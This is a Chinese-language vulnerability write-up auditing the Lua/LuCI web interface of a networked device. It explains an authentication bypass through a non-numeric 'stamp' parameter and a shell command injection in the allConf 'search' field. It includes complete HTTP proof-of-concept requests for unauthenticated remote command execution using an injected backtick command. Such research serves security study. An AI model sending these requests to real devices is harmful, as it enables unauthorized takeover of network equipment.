0x01 前言

  1. 赛博群里面发了个url于是搞到源码,感觉这套源码超级适合lua审计入门,所以写了一篇这个水文
  2. zac师傅发了一个奇怪的漏洞,只要stamp不是数字就能直接登录进入系统
  3. http://xxx.xxx.xxx.xxx/cgi-bin/luci/?stamp=1655176048%27

image.png

  1. 感觉很奇怪,于是就找漂亮鼠要了一份源码,看了看

0x02 路由分析

  1. 拿到源码以后看目录是长这样的

image.png

  1. 这是根目录下的所有文件,我们要找的是web目录,所以要先确定web目录在那里
  2. 这里对lua有个简单的方法,就是利用站点发送的url来快速确认

image.png

  1. 可以很明显的看得到,前面的各种请求都是api等关键字开头的
  2. 所以可以尝试直接在vscode里面搜索关键字进行路由查找

image.png
image.png

  1. 也就是说: http://xxx.xxx.xxx.xxx/cgi-bin/luci/api/cmd
  2. 对应的就是 entry({"api", "cmd"}, call("rpc_cmd"), nil)
  3. 其中的 rpc_cmd 就是要被执行的方法
  4. 跟进去 rpc_cmd() 函数
  5. 发现有个 local _tbl = require "luci.modules.cmd"
  6. 对应的文件就是: ./源码/rom/usr/lib/lua/luci/modules/cmd.lua
  7. 也就是说这里才是真正执行业务代码的地方

image.png
image.png

0x03 奇怪的登录源码分析

  1. poc: http://xxx.xxx.xxx.xxx/cgi-bin/luci/?stamp=1655176048%27
  2. 前面说过,只要stamp不是数字就能直接登录进入系统
  3. 并且对于路由也不限制,只要是前台能访问的路由就会触发这个漏洞
  4. 而且我找了漂亮鼠要了一份源码
  5. 所以这种情况简单的方法就是直接全局搜索stamp
  6. 因为我猜测可能有全局过滤器这种类似的东西存在
  1. 目录: ./源码/rom/usr/lib/lua/luci/dispatcher.lua
  2. 方法: authenticator.htmlauth()

image.png

  1. 看到这个文件就感觉应该就是它了
  2. 因为 luci.http.formvalue("xxx") == PHP $_REQUEST["xxx"]
  3. 并且有一个 luci.http.formvalue("stamp", true) 正是我们查找的
  4. 而且的却是登录认证的逻辑,那么确认那里使用了 stamp 即可知道问题了

image.png
image.png

  1. 到这里就已经很清楚了因为
  2. auth = luci.http.formvalue("auth") 默认等于 ""
  3. time = luci.http.formvalue("stamp", true)
  4. local md5 = tool.getMd5(sn, ip, time)
  5. md5 又经过污染,也成功返回 ""
  6. 因此 if md5 == auth 最终返回true,然后就成功的进行了登录
  7. 这是lua弱类型的问题
  8. 估计开发人员水平很差因为 "" == nil
  9. 而且实际上 "" != nil
  10. 最终导致了这个问题

0x04 后台-命令执行漏洞

  1. 最前面说过使用 entry() 函数的,就是外部可访问的路由接口
  2. 大致搜索了一下,发现有23处,外部可访问的路由接口

11.png
12.png
13.png

  1. 路径: ./源码/rom/usr/lib/lua/luci/modules/common.lua
  2. 方法: allConf()
  3. -- 获取配置信息
  4. function allConf(params)
  5. local _shell = "uci show"
  6. local _search = params.search
  7. if _search ~= "" then
  8. _shell = _shell .. " | grep '" .. _search .. "'"
  9. end
  10. local tool = require "luci.utils.tool"
  11. _shell = tool.filterExecShell(_shell)
  12. return {conf = luci.sys.exec(_shell)}
  13. end
  14. -- 获取能力表
  15. function capacity()
  16. -- local tool = require "luci.utils.tool"
  17. local json = require "dkjson"
  18. return json.decode(luci.sys.exec("cat /tmp/rg_device/rg_device.json")) --能力表太大,请减少使用影响性能
  19. end

image.png

  1. 从上面就可以看的出来,params.search外部可控,并且无过滤直接拼接命令,最终执行,这没啥子好说的
  2. 就是一个简单的找的过程!
  3. // 测试POC
  4. POST /cgi-bin/luci/api/common?auth=94157d712dd903eff145374525f43e4a HTTP/1.1
  5. Host: xxx.xxx.xxx.xxx
  6. Content-Length: 56
  7. Accept: application/json, text/plain, */*
  8. Content-Type: application/json;charset=UTF-8
  9. Accept-Encoding: gzip, deflate
  10. Accept-Language: zh-CN,zh;q=0.9
  11. Connection: close
  12. {"method":"allConf","params":{"search":"1';`sleep 3`'"}}

image.png

0x05 前台-命令执行的探讨

image.png

  1. 提示: 403 Forbidden, auth is not passed
  2. 猜测有一个全局过滤器类似的东西,所以使用vscode搜索一下即可

image.png

  1. 有了后台,没有前台,就会显的很突兀,所以又回去看了一下
  2. 目录: ./源码/rom/usr/lib/lua/luci/controller/eweb/api.lua
  3. 方法: index()->authenticator()

image.png

  1. 最终重新构造POC就变成前台rce了:
  2. POST /cgi-bin/luci/api/common?time=aa&auth= HTTP/1.1
  3. Host: xxx.xxx.xxx.xxx
  4. Content-Length: 56
  5. Accept: application/json, text/plain, */*
  6. Accept-Encoding: gzip, deflate
  7. Accept-Language: zh-CN,zh;q=0.9
  8. Connection: close
  9. {"method":"allConf","params":{"search":"1';`sleep 3`'"}}

image.png

0x06 小结

这是一个很适合lua入门的源码, 还有多看群还是有好处的:)